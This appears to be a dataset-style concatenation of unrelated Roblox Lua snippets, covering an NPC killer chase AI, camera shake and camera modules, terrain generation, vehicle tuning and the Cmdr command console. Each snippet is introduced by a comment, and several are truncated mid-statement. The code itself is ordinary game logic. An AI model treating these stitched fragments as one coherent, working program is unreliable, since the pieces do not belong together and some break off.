and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>50 then if JeffTheKillerScript and JeffTheKiller and ChosenMusic and ChosenMusic.IsPlaying then if not MusicDebounce then Spawn(function() MusicDebounce=true; repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0; if ChosenMusic then ChosenMusic.Volume=0; ChosenMusic:Stop(); end; ChosenMusic=nil; MusicDebounce=false; end); end; end; end; if not MainTarget and not JeffLaughDebounce then Spawn(function() JeffLaughDebounce=true; repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0; JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop(); JeffLaughDebounce=false; end); end; if not MainTarget and not MusicDebounce then Spawn(function() MusicDebounce=true; repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0; if ChosenMusic then ChosenMusic.Volume=0; ChosenMusic:Stop(); end; ChosenMusic=nil; MusicDebounce=false; end); end; if MainTarget then Notice=true; if Notice and not NoticeDebounce and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Susto2")then JeffTheKillerHead:FindFirstChild("Jeff_Susto2"):Play(); NoticeDebounce=true; end if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then if MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>5 then JeffTheKillerHumanoid.WalkSpeed=12; elseif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<5 then JeffTheKillerHumanoid.WalkSpeed=0.004; end; JeffTheKillerHumanoid:MoveTo(MainTarget.Position+(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).unit*2,Game:GetService("Workspace"):FindFirstChild("Terrain")); end; else Notice=false; NoticeDebounce=false; local RandomWalk=math.random(1,150); if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then JeffTheKillerHumanoid.WalkSpeed=12; if RandomWalk==1 then JeffTheKillerHumanoid:MoveTo(Game:GetService("Workspace"):FindFirstChild("Terrain").Position+Vector3.new(math.random(-2048,2048),0,math.random(-2048,2048)),Game:GetService("Workspace"):FindFirstChild("Terrain")); end; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid then JeffTheKillerHumanoid.DisplayDistanceType="None"; JeffTheKillerHumanoid.HealthDisplayDistance=0; JeffTheKillerHumanoid.Name="ColdBloodedKiller"; JeffTheKillerHumanoid.NameDisplayDistance=0; JeffTheKillerHumanoid.NameOcclusion="EnemyOcclusion"; JeffTheKillerHumanoid.AutoJumpEnabled=true; JeffTheKillerHumanoid.AutoRotate=true; JeffTheKillerHumanoid.MaxHealth=500; JeffTheKillerHumanoid.JumpPower=60; JeffTheKillerHumanoid.MaxSlopeAngle=89.9; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoJumpEnabled then JeffTheKillerHumanoid.AutoJumpEnabled=true; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoRotate then JeffTheKillerHumanoid.AutoRotate=true; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.PlatformStand then JeffTheKillerHumanoid.PlatformStand=false; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Sit then JeffTheKillerHumanoid.Sit=false; end; end;
--[=[ @return Shake Creates a new shake with identical properties as this one. This does _not_ clone over playing state, and thus the cloned instance will be in a stopped state. A use-case for using `Clone` would be to create a module with a list of shake presets. These presets can be cloned when desired for use. For instance, there might be presets for explosions, recoil, or earthquakes. ```lua -------------------------------------- -- Example preset module local ShakePresets = {} local explosion = Shake.new() -- Configure `explosion` shake here ShakePresets.Explosion = explosion return ShakePresets -------------------------------------- -- Use the module: local ShakePresets = require(somewhere.ShakePresets) local explosionShake = ShakePresets.Explosion:Clone() ``` ]=]
function Shake:Clone() local shake = Shake.new() local cloneFields = { "Amplitude", "Frequency", "FadeInTime", "FadeOutTime", "SustainTime", "Sustain", "PositionInfluence", "RotationInfluence", "TimeFunction" } for _,field in ipairs(cloneFields) do shake[field] = self[field] end return shake end
--[[ Local Functions ]]
-- local function onShiftLockToggled() IsShiftLocked = not IsShiftLocked if IsShiftLocked then ShiftLockIcon.Image = SHIFT_LOCK_ON Mouse.Icon = SHIFT_LOCK_CURSOR else ShiftLockIcon.Image = SHIFT_LOCK_OFF Mouse.Icon = "" end ShiftLockController.OnShiftLockToggled:Fire() end local function initialize() if ScreenGui then ScreenGui:Destroy() ScreenGui = nil end ScreenGui = Instance.new('ScreenGui') ScreenGui.Name = "ControlGui" local frame = Instance.new('Frame') frame.Name = "BottomLeftControl" frame.Size = UDim2.new(0, 130, 0, 46) frame.Position = UDim2.new(0, 0, 1, -46) frame.BackgroundTransparency = 1 frame.Parent = ScreenGui ShiftLockIcon = Instance.new('ImageButton') ShiftLockIcon.Name = "MouseLockLabel" ShiftLockIcon.Size = UDim2.new(0, 31, 0, 31) ShiftLockIcon.Position = UDim2.new(0, 12, 0, 2) ShiftLockIcon.BackgroundTransparency = 1 ShiftLockIcon.Image = IsShiftLocked and SHIFT_LOCK_ON or SHIFT_LOCK_OFF ShiftLockIcon.Visible = IsShiftLockMode ShiftLockIcon.Parent = frame ShiftLockIcon.MouseButton1Click:connect(onShiftLockToggled) ScreenGui.Parent = PlayerGui end
--[=[ @param tbl table @param name string @param inboundMiddleware ServerMiddleware? @param outboundMiddleware ServerMiddleware? @return RemoteFunction Binds a function to a table method. The name must match the name of the method in the table. The same name will be used on the client to access the given function. ```lua local MyObject = { _Data = 10, } function MyObject:GetData(player: Player) return self._Data end serverComm:WrapMethod(MyObject, "GetData") ``` ]=]
function ServerComm:WrapMethod(tbl: {}, name: string, inboundMiddleware: Types.ServerMiddleware?, outboundMiddleware: Types.ServerMiddleware?): RemoteFunction return Comm.WrapMethod(self._instancesFolder, tbl, name, inboundMiddleware, outboundMiddleware) end
-- собственно создание ландшафта
local function mountLayer(x, heightY, z, material) local beginY = -BASE_HEIGHT local endY = heightY -- так что вот тут надо добавить условие на воду!!!! -- сперва добавим воду если надо, а потом уже дно... if endY < BASE_HEIGHT*WATER then local cframe = CFrame.new(x * 4 + 2, (endY + BASE_HEIGHT*WATER) *2 / 2 , z * 4 + 2) -- отрисовка новой позиции local size = Vector3.new(4, (BASE_HEIGHT*WATER - endY) *2 , 4) -- а попросту, заполнение от низа до полученного значения workspace.Terrain:FillBlock(cframe, size, Enum.Material.Water) end local cframe = CFrame.new(x * 4 + 2, (beginY + endY)*2 /2 , z * 4 + 2) -- отрисовка новой позиции local size = Vector3.new(4, (endY - beginY)*2 , 4) -- а попросту, заполнение от низа до полученного значения workspace.Terrain:FillBlock(cframe, size, material) end function makeChunk(chunkX, chunkZ) local rootPosition = Vector3.new(chunkX * CHUNK_SCALE, 0, chunkZ * CHUNK_SCALE) chunks[chunkX][chunkZ] = true -- Acknowledge the chunk's existance. for x = 0, CHUNK_SCALE - 1 do for z = 0, CHUNK_SCALE - 1 do local noise=0 local cx = (chunkX * CHUNK_SCALE) + x local cz = (chunkZ * CHUNK_SCALE) + z local r=math.sqrt(cx*cx + cz*cz) -- растояние от центра --- пример ровного места if r > RADIUS then noise = math.noise(cx / X_SCALE, cz / Z_SCALE, GENERATION_SEED) if r-RADIUS <= (RADIUS*R_SCALE) then local k=(r-RADIUS)/(RADIUS*R_SCALE) noise = noise * k end end -- расчёт вертикали local cy = noise * BASE_HEIGHT -- присвоение материал if r < RADIUS then mountLayer(cx, cy, cz, Enum.Material.Cobblestone) else if cy<BASE_HEIGHT*WATER then mountLayer(cx, cy, cz, Enum.Material.Mud) elseif cy<-BASE_HEIGHT/3 then if rnd:NextNumber()>DELTA then -- if math.random()>DELTA then mountLayer(cx, cy, cz, Enum.Material.Sand) else mountLayer(cx, cy, cz, Enum.Material.Grass) end elseif cy>BASE_HEIGHT/2 then if rnd:NextNumber()>DELTA then --if math.random()>DELTA then mountLayer(cx, cy, cz, Enum.Material.Ice) else mountLayer(cx, cy, cz, Enum.Material.Cobblestone) end else if rnd:NextNumber()>DELTA/2 then --if math.random()>DELTA/2 then if rnd:NextNumber()>DELTA then mountLayer(cx, cy, cz, Enum.Material.LeafyGrass) -- высадим дерево? if r > RADIUS then spawnTree(Vector3.new(cx*4,cy,cz*4)) end else mountLayer(cx, cy, cz, Enum.Material.Grass) end else mountLayer(cx, cy, cz, Enum.Material.Slate) end end end end end end function checkSurroundings(location) local chunkX, chunkZ = math.floor(location.X / 4 / CHUNK_SCALE), math.floor(location.Z / 4 / CHUNK_SCALE) local range = math.max(1, RENDER_DISTANCE / CHUNK_SCALE) for x = -range, range do for z = -range, range do local cx = chunkX + x local cz = chunkZ + z if not chunkExists(cx, cz) then makeChunk(cx, cz) end end end end while true do for _, player in pairs(Players:GetPlayers()) do if player.Character then local humanoidRootPart = player.Character:FindFirstChild("HumanoidRootPart") if humanoidRootPart then checkSurroundings(humanoidRootPart.Position) end end end wait(1) game.Workspace.Finish.Value=1 -- отрисовано end
--print("Shot")
parts = script.Parent; ignoreList = {script.Parent} dealingDamage = 160 makeRays = false
-- int rd_int_basic(string src, int s, int e, int d) -- @src - Source binary string -- @s - Start index of a little endian integer -- @e - End index of the integer -- @d - Direction of the loop
local function rd_int_basic(src, s, e, d) local num = 0 -- if bb[l] > 127 then -- signed negative -- num = num - 256 ^ l -- bb[l] = bb[l] - 128 -- end for i = s, e, d do num = num + src:byte(i, i) * 256 ^ (i - s) end return num end
--Ammo.Changed:connect(Update_Gui) --StoredAmmo.Changed:connect(Update_Gui) --GLAmmo.Changed:connect(Update_Gui)
local RAD, SIN, ATAN, COS = math.rad, math.sin, math.atan2, math.cos
--//Declarations
Camera = game.Workspace.CurrentCamera Last = Camera.CFrame.lookVector Blur = Instance.new("BlurEffect",Camera)
--helpfully checks a table for a specific value
function contains(t, v) for _, val in pairs(t) do if val == v then return true end end return false end
-- emote bindable hook
if FFlagAnimateScriptEmoteHook then script:WaitForChild("PlayEmote").OnInvoke = function(emote) -- Only play emotes when idling if pose ~= "Standing" then return end if emoteNames[emote] ~= nil then -- Default emotes playAnimation(emote, EMOTE_TRANSITION_TIME, Humanoid) if userPlayEmoteByIdAnimTrackReturn then return true, currentAnimTrack else return true end elseif typeof(emote) == "Instance" and emote:IsA("Animation") then -- Non-default emotes playEmote(emote, EMOTE_TRANSITION_TIME, Humanoid) if userPlayEmoteByIdAnimTrackReturn then return true, currentAnimTrack else return true end end -- Return false to indicate that the emote could not be played return false end end
-- Colors
local FriendlyReticleColor = Color3.new(0, 1, 0) local EnemyReticleColor = Color3.new(1, 0, 0) local NeutralReticleColor = Color3.new(1, 1, 1) local Spread = MinSpread local AmmoInClip = ClipSize local Camera = workspace.CurrentCamera local Tool = script.Parent local Handle = WaitForChild(Tool, 'Handle') local WeaponGui = nil
--[[** ensures Roblox DockWidgetPluginGuiInfo type @param value The value to check against @returns True iff the condition is satisfied, false otherwise **--]]
t.DockWidgetPluginGuiInfo = primitive("DockWidgetPluginGuiInfo")
--[[** ensures value is an enum of the correct type @param enum The enum to check @returns A function that will return true iff the condition is passed **--]]
function t.enum(enum) assert(t.Enum(enum)) return function(value) local enumItemSuccess, enumItemErrMsg = t.EnumItem(value) if not enumItemSuccess then return false, enumItemErrMsg end if value.EnumType == enum then return true else return false, string.format("enum of %s expected, got enum of %s", tostring(enum), tostring(value.EnumType)) end end end do local checkWrap = t.tuple(t.callback, t.callback)
-- Sound
CEs.PlaySound.OnClientEvent:connect(function(Sound,Rchr) if not Sound then return end if not Rchr then if Sound:IsDescendantOf(plr.Character) then return end else if plr.Character == Rchr then return end end local newSound = Instance.new("Sound", Sound.Parent) newSound.SoundId = Sound.SoundId newSound.PlaybackSpeed = Sound.PlaybackSpeed newSound.Volume = Sound.Volume newSound.Name = Sound.Name.."Playing" newSound:Play() game:GetService("Debris"):AddItem(newSound, Sound.TimeLength) end) CEs.StopSound.OnClientEvent:connect(function(Sound,Rchr) if not Sound then return end if not Rchr then if Sound:IsDescendantOf(plr.Character) then return end else if plr.Character == Rchr then return end end local newSound = Sound.Parent:FindFirstChild(Sound.Name.."Playing") if newSound then newSound:Destroy() end end)
--[[** <description> Takes a function to be called before :Save(). This function must return a value that will be saved in the data store. Used for serializing. </description> <parameter name = "modifier"> The modifier function. </parameter> **--]]
function DataStore:BeforeSave(modifier) self.beforeSave = modifier end
-- Special Effects
local EffectsFolder = ReplicatedStorage:WaitForChild("Effects") local Explosion = EffectsFolder:WaitForChild("Explode")
-- Teleport error logging
function Lobby._onTeleportFailure(player, status, message) Log.Error.Lobby("Teleport Failed: %s (%s)", player.UserId, message) -- Send error back to the server local data = { type = "FAILURE", status = status, message = message, } self.joinEvent:FireServer(data) end TeleportService.TeleportInitFailed:Connect(Lobby._onTeleportFailure)
--[=[ @within Shake @prop PositionInfluence Vector3 This is similar to `Amplitude` but multiplies against each axis of the resultant shake vector, and only affects the position vector. Defaults to `Vector3.one`. ]=]
-- Define the mouse offset
local mouseOffset = Vector2.new(0, 0)
-- A collection of instances that may be parented to another instance.
export type Children = Instance | StateObject<Children> | {[any]: Children}
--[[Weight and CG]]
Tune.Weight = 1000 -- Total weight (in pounds) Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable) --[[Width]] 6 , --[[Height]] 3.5 , --[[Length]] 14 } Tune.WeightDist = 55 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100) Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels) Tune.WBVisible = false -- Makes the weight brick visible --Unsprung Weight Tune.FWheelDensity = .1 -- Front Wheel Density Tune.RWheelDensity = .1 -- Rear Wheel Density Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF] Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF] Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight) Tune.AxleDensity = .1 -- Density of structural members
-- Smart Circle mode needs the intersection of 2 rays that are known to be in the same plane -- because they are generated from cross products with a common vector. This function is computing -- that intersection, but it's actually the general solution for the point halfway between where -- two skew lines come nearest to each other, which is more forgiving.
local function RayIntersection(p0, v0, p1, v1) local v2 = v0:Cross(v1) local d1 = p1.x - p0.x local d2 = p1.y - p0.y local d3 = p1.z - p0.z local denom = Det3x3(v0.x,-v1.x,v2.x,v0.y,-v1.y,v2.y,v0.z,-v1.z,v2.z) if (denom == 0) then return ZERO_VECTOR3 -- No solution (rays are parallel) end local t0 = Det3x3(d1,-v1.x,v2.x,d2,-v1.y,v2.y,d3,-v1.z,v2.z) / denom local t1 = Det3x3(v0.x,d1,v2.x,v0.y,d2,v2.y,v0.z,d3,v2.z) / denom local s0 = p0 + t0 * v0 local s1 = p1 + t1 * v1 local s = s0 + 0.5 * ( s1 - s0 ) -- 0.25 studs is a threshold for deciding if the rays are -- close enough to be considered intersecting, found through testing if (s1-s0).Magnitude < 0.25 then return s else return ZERO_VECTOR3 end end local function SmartCircleBehavior(castPoints) local torsoUp = TorsoPart.CFrame.upVector.unit local torsoRight = TorsoPart.CFrame.rightVector.unit -- SMART_CIRCLE mode includes rays to head and 5 to the torso. -- Hands, arms, legs and feet are not included since they -- are not canCollide and can therefore go inside of parts castPoints[#castPoints + 1] = TorsoPart.CFrame.p castPoints[#castPoints + 1] = TorsoPart.CFrame.p + torsoUp castPoints[#castPoints + 1] = TorsoPart.CFrame.p - torsoUp castPoints[#castPoints + 1] = TorsoPart.CFrame.p + torsoRight castPoints[#castPoints + 1] = TorsoPart.CFrame.p - torsoRight if HeadPart then castPoints[#castPoints + 1] = HeadPart.CFrame.p end local cameraOrientation = Camera.CFrame - Camera.CFrame.p local torsoPoint = Vector3_new(0,0.5,0) + (TorsoPart and TorsoPart.Position or HumanoidRootPart.Position) local radius = 2.5 -- This loop first calculates points in a circle of radius 2.5 around the torso of the character, in the -- plane orthogonal to the camera's lookVector. Each point is then raycast to, to determine if it is within -- the free space surrounding the player (not inside anything). Two iterations are done to adjust points that -- are inside parts, to try to move them to valid locations that are still on their camera ray, so that the -- circle remains circular from the camera's perspective, but does not cast rays into walls or parts that are -- behind, below or beside the character and not really obstructing view of the character. This minimizes -- the undesirable situation where the character walks up to an exterior wall and it is made invisible even -- though it is behind the character. for i = 1, SMART_CIRCLE_CASTS do local angle = SMART_CIRCLE_INCREMENT * i - 0.5 * math.pi local offset = radius * Vector3_new(math_cos(angle), math_sin(angle), 0) local circlePoint = torsoPoint + cameraOrientation * offset -- Vector from camera to point on the circle being tested local vp = circlePoint - Camera.CFrame.p local ray = Ray.new(torsoPoint, circlePoint - torsoPoint) local hit, hp, hitNormal = game.Workspace:FindPartOnRayWithIgnoreList(ray, {Character}, false, false ) local castPoint = circlePoint if hit then local hprime = hp + 0.1 * hitNormal.unit -- Slightly offset hit point from the hit surface local v0 = hprime - torsoPoint -- Vector from torso to offset hit point local d0 = v0.magnitude local perp = (v0:Cross(vp)).unit -- Vector from the offset hit point, along the hit surface local v1 = (perp:Cross(hitNormal)).unit -- Vector from camera to offset hit local vprime = (hprime - Camera.CFrame.p).unit -- This dot product checks to see if the vector along the hit surface would hit the correct -- side of the invisicam cone, or if it would cross the camera look vector and hit the wrong side if ( v0.unit:Dot(-v1) < v0.unit:Dot(vprime)) then castPoint = RayIntersection(hprime, v1, circlePoint, vp) if castPoint.Magnitude > 0 then local ray = Ray.new(hprime, castPoint - hprime) local hit, hitPoint, hitNormal = game.Workspace:FindPartOnRayWithIgnoreList(ray, {Character}, false, false ) if hit then local hprime2 = hitPoint + 0.1 * hitNormal.unit castPoint = hprime2 end else castPoint = hprime end else castPoint = hprime end local ray = Ray.new(torsoPoint, (castPoint - torsoPoint)) local hit, hitPoint, hitNormal = game.Workspace:FindPartOnRayWithIgnoreList(ray, {Character}, false, false ) if hit then local castPoint2 = hitPoint - 0.1 * (castPoint - torsoPoint).unit castPoint = castPoint2 end end castPoints[#castPoints + 1] = castPoint end end local function CheckTorsoReference() if Character then TorsoPart = Character:FindFirstChild("Torso") if not TorsoPart then TorsoPart = Character:FindFirstChild("UpperTorso") if not TorsoPart then TorsoPart = Character:FindFirstChild("HumanoidRootPart") end end HeadPart = Character:FindFirstChild("Head") end end local function OnCharacterAdded(character) if childAddedConn then childAddedConn:disconnect() childAddedConn = nil end if childRemovedConn then childRemovedConn:disconnect() childRemovedConn = nil end Character = character TrackedLimbs = {} local function childAdded(child) if child:IsA('BasePart') then if LIMB_TRACKING_SET[child.Name] then TrackedLimbs[child] = true end if (child.Name == 'Torso' or child.Name == 'UpperTorso') then TorsoPart = child end if (child.Name == 'Head') then HeadPart = child end end end local function childRemoved(child) TrackedLimbs[child] = nil -- If removed/replaced part is 'Torso' or 'UpperTorso' double check that we still have a TorsoPart to use CheckTorsoReference() end childAddedConn = character.ChildAdded:connect(childAdded) childRemovedConn = character.ChildRemoved:connect(childRemoved) for _, child in pairs(Character:GetChildren()) do childAdded(child) end end local function OnCurrentCameraChanged() local newCamera = workspace.CurrentCamera if newCamera then Camera = newCamera end end
--[[ class Spring Description: A physical model of a spring, useful in many applications. Properties only evaluate upon index making this model good for lazy applications API: Spring = Spring.new(number position) Creates a new spring in 1D Spring = Spring.new(Vector3 position) Creates a new spring in 3D Spring.Position Returns the current position Spring.Velocity Returns the current velocity Spring.Target Returns the target Spring.Damper Returns the damper Spring.Speed Returns the speed Spring.Target = number/Vector3 Sets the target Spring.Position = number/Vector3 Sets the position Spring.Velocity = number/Vector3 Sets the velocity Spring.Damper = number [0, 1] Sets the spring damper, defaults to 1 Spring.Speed = number [0, infinity) Sets the spring speed, defaults to 1 Spring:TimeSkip(number DeltaTime) Instantly skips the spring forwards by that amount of now Spring:Impulse(number/Vector3 velocity) Impulses the spring, increasing velocity by the amount given Visualization (by Defaultio): https://www.desmos.com/calculator/hn2i9shxbz ]]
local Spring = {}
--Explosion Effects, yes its just a particle effect xD--
local explosionvault1 = script.Parent.DepositBoxDoor1.ExplosionEffect1
--Weld stuff here
misc:WaitForChild("Spoiler") MakeWeld(car.DriveSeat,misc.Spoiler:WaitForChild("A1")).Name="W" MakeWeld(misc.Spoiler.A1,misc.Spoiler:WaitForChild("A2"),"Motor",.01).Name="W" MakeWeld(misc.Spoiler.A2,misc.Spoiler:WaitForChild("A3"),"Motor",.02).Name="W" MakeWeld(misc.Spoiler.A3,misc.Spoiler:WaitForChild("A"),"Motor",.01).Name="W" MakeWeld(misc.Spoiler.A3,misc.Spoiler:WaitForChild("A4"),"Motor",.01).Name="P" MakeWeld(misc.Spoiler.A4,misc.Spoiler:WaitForChild("Sp"),"Motor",.01).Name="W" MakeWeld(misc.Spoiler.Sp,misc.Spoiler:WaitForChild("B1")) MakeWeld(misc.Spoiler.B1,misc.Spoiler:WaitForChild("Paint"),"Motor",.01).Name="W" MakeWeld(misc.Spoiler.B2,misc.Spoiler:WaitForChild("Paint"),"Motor",.01).Name="W" MakeWeld(misc.Spoiler.B3,misc.Spoiler:WaitForChild("Paint"),"Motor",.01).Name="W" MakeWeld(misc.Spoiler.B4,misc.Spoiler:WaitForChild("Paint"),"Motor",.01).Name="W" MakeWeld(misc.Spoiler.B5,misc.Spoiler:WaitForChild("Paint"),"Motor",.01).Name="W" MakeWeld(misc.Spoiler.B6,misc.Spoiler:WaitForChild("Paint"),"Motor",.01).Name="W" MakeWeld(misc.Spoiler.B7,misc.Spoiler:WaitForChild("Paint"),"Motor",.01).Name="W" MakeWeld(misc.Spoiler.RFL,misc.Spoiler:WaitForChild("Paint"),"Motor",.01).Name="W" car.DriveSeat.ChildAdded:connect(function(child) if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)*CFrame.Angles(math.rad(13),0,0) end end)
-- Please don't edit this script
L1 = script.Parent.LED1.Scripts.on L2 = script.Parent.LED2.Scripts.on L3 = script.Parent.LED3.Scripts.on L4 = script.Parent.LED4.Scripts.on L5 = script.Parent.LED5.Scripts.on R1 = script.Parent.Parent.Relays.Relay1 R2 = script.Parent.Parent.Relays.Relay2 R3 = script.Parent.Parent.Relays.Relay3 R4 = script.Parent.Parent.Relays.Relay4 R5 = script.Parent.Parent.Relays.Relay5 repeat task.wait() L1.Value = R1.RelayOn.Value L2.Value = R2.RelayOn.Value L3.Value = R3.RelayOn.Value L4.Value = R4.RelayOn.Value L5.Value = R5.RelayOn.Value until script.Enabled == false
-- Here be dragons
local Players = game:GetService("Players") local Player = Players.LocalPlayer return function (Cmdr) local Util = Cmdr.Util local Window = require(script:WaitForChild("Window")) Window.Cmdr = Cmdr local AutoComplete = require(script:WaitForChild("AutoComplete"))(Cmdr) Window.AutoComplete = AutoComplete -- Sets the Window.ProcessEntry callback so that we can dispatch our commands out function Window.ProcessEntry(text) text = Util.TrimString(text) if #text == 0 then return end Window:AddLine(Window:GetLabel() .. " " .. text, Color3.fromRGB(255, 223, 93)) Window:AddLine(Cmdr.Dispatcher:EvaluateAndRun(text, Player, { IsHuman = true })) end -- Sets the Window.OnTextChanged callback so we can update the auto complete function Window.OnTextChanged (text) local command = Cmdr.Dispatcher:Evaluate(text, Player, true) local arguments = Util.SplitString(text) local commandText = table.remove(arguments, 1) local atEnd = false if command then arguments = Util.MashExcessArguments(arguments, #command.Object.Args) atEnd = #arguments == #command.Object.Args end local entryComplete = commandText and #arguments > 0 if text:sub(#text, #text):match("%s") and not atEnd then entryComplete = true arguments[#arguments + 1] = "" end if command and entryComplete then local commandValid, errorText = command:Validate() Window:SetIsValidInput(commandValid, ("Validation errors: %s"):format(errorText or "")) local acItems = {} local lastArgument = command:GetArgument(#arguments) if lastArgument then local typedText = lastArgument.RawSegments[#lastArgument.RawSegments] local items = lastArgument:GetAutocomplete() for i, item in pairs(items) do acItems[i] = {typedText, item} end local valid = true if #typedText > 0 then valid, errorText = lastArgument:Validate() end return AutoComplete:Show(acItems, { at = atEnd and #text - #typedText + (text:sub(#text, #text):match("%s") and -1 or 0); prefix = #lastArgument.RawSegments == 1 and lastArgument.Prefix or ""; isLast = #command.Arguments == #command.ArgumentDefinitions and #typedText > 0; numArgs = #arguments; command = command; arg = lastArgument; name = lastArgument.Name .. (lastArgument.Required and "" or "?"); type = lastArgument.Type.DisplayName; description = (valid == false and errorText) or lastArgument.Object.Description; invalid = not valid; }) end elseif commandText and #arguments == 0 then Window:SetIsValidInput(true) local exactCommand = Cmdr.Registry:GetCommand(commandText) local exactMatch if exactCommand then exactMatch = {exactCommand.Name, exactCommand.Name, options = { name = exactCommand.Name; description = exactCommand.Description; }} end local acItems = {exactMatch} for _, cmd in pairs(Cmdr.Registry:GetCommandsAsStrings()) do if commandText:lower() == cmd:lower():sub(1, #commandText) and (exactMatch == nil or exactMatch[1] ~= commandText) then local commandObject = Cmdr.Registry:GetCommand(cmd) acItems[#acItems + 1] = {commandText, cmd, options = { name = commandObject.Name; description = commandObject.Description; }} end end return AutoComplete:Show(acItems) end Window:SetIsValidInput(false, "Invalid command. Use the help command to see all available commands.") AutoComplete:Hide() end Window:UpdateLabel() Window:UpdateWindowHeight() return { Window = Window; AutoComplete = AutoComplete; } end
--[=[ Extracts the locale from the name @param localeId string -- the defaultlocaleId @param dataTable table -- Data table to load from @return LocalizationTable ]=]
function JsonToLocalizationTable.loadTable(localeId, dataTable) local localizationTable = JsonToLocalizationTable.getOrCreateLocalizationTable() recurseAdd(localizationTable, localeId, "", dataTable) return localizationTable end
-- This script listens for RemoteEvents that will be called from the client ("Main" script)
local Home = script.Parent
--[[ The Module ]]
-- local BaseCamera = {} BaseCamera.__index = BaseCamera function BaseCamera.new() local self = setmetatable({}, BaseCamera) -- So that derived classes have access to this self.FIRST_PERSON_DISTANCE_THRESHOLD = FIRST_PERSON_DISTANCE_THRESHOLD self.gamepadSensitivity = 1 self.cameraType = nil self.cameraMovementMode = nil self.lastCameraTransform = nil self.rotateInput = ZERO_VECTOR2 self.userPanningCamera = false self.lastUserPanCamera = tick() self.humanoidRootPart = nil self.humanoidCache = {} -- Subject and position on last update call self.lastSubject = nil self.lastSubjectPosition = Vector3.new(0,5,0) -- These subject distance members refer to the nominal camera-to-subject follow distance that the camera -- is trying to maintain, not the actual measured value. -- The default is updated when screen orientation or the min/max distances change, -- to be sure the default is always in range and appropriate for the orientation. self.defaultSubjectDistance = math.clamp(DEFAULT_DISTANCE, player.CameraMinZoomDistance, player.CameraMaxZoomDistance) self.currentSubjectDistance = math.clamp(DEFAULT_DISTANCE, player.CameraMinZoomDistance, player.CameraMaxZoomDistance) self.inFirstPerson = false self.inMouseLockedMode = false self.portraitMode = false self.isSmallTouchScreen = false -- Used by modules which want to reset the camera angle on respawn. self.resetCameraAngle = true self.enabled = false -- Input Event Connections self.inputBeganConn = nil self.inputChangedConn = nil self.inputEndedConn = nil self.startPos = nil self.lastPos = nil self.panBeginLook = nil self.panEnabled = true self.keyPanEnabled = true self.distanceChangeEnabled = true self.PlayerGui = nil self.cameraChangedConn = nil self.viewportSizeChangedConn = nil self.boundContextActions = {} -- VR Support self.shouldUseVRRotation = false self.VRRotationIntensityAvailable = false self.lastVRRotationIntensityCheckTime = 0 self.lastVRRotationTime = 0 self.vrRotateKeyCooldown = {} self.cameraTranslationConstraints = Vector3.new(1, 1, 1) self.humanoidJumpOrigin = nil self.trackingHumanoid = nil self.cameraFrozen = false self.subjectStateChangedConn = nil -- Gamepad support self.activeGamepad = nil self.gamepadPanningCamera = false self.lastThumbstickRotate = nil self.numOfSeconds = 0.7 self.currentSpeed = 0 self.maxSpeed = 6 self.vrMaxSpeed = 4 self.lastThumbstickPos = Vector2.new(0,0) self.ySensitivity = 0.65 self.lastVelocity = nil self.gamepadConnectedConn = nil self.gamepadDisconnectedConn = nil self.currentZoomSpeed = 1.0 self.L3ButtonDown = false self.dpadLeftDown = false self.dpadRightDown = false -- Touch input support self.isDynamicThumbstickEnabled = false self.fingerTouches = {} self.dynamicTouchInput = nil self.numUnsunkTouches = 0 self.inputStartPositions = {} self.inputStartTimes = {} self.startingDiff = nil self.pinchBeginZoom = nil self.userPanningTheCamera = false self.touchActivateConn = nil -- Mouse locked formerly known as shift lock mode self.mouseLockOffset = ZERO_VECTOR3 -- [[ NOTICE ]] -- -- Initialization things used to always execute at game load time, but now these camera modules are instantiated -- when needed, so the code here may run well after the start of the game if player.Character then self:OnCharacterAdded(player.Character) end player.CharacterAdded:Connect(function(char) self:OnCharacterAdded(char) end) if self.cameraChangedConn then self.cameraChangedConn:Disconnect() end self.cameraChangedConn = workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(function() self:OnCurrentCameraChanged() end) self:OnCurrentCameraChanged() if 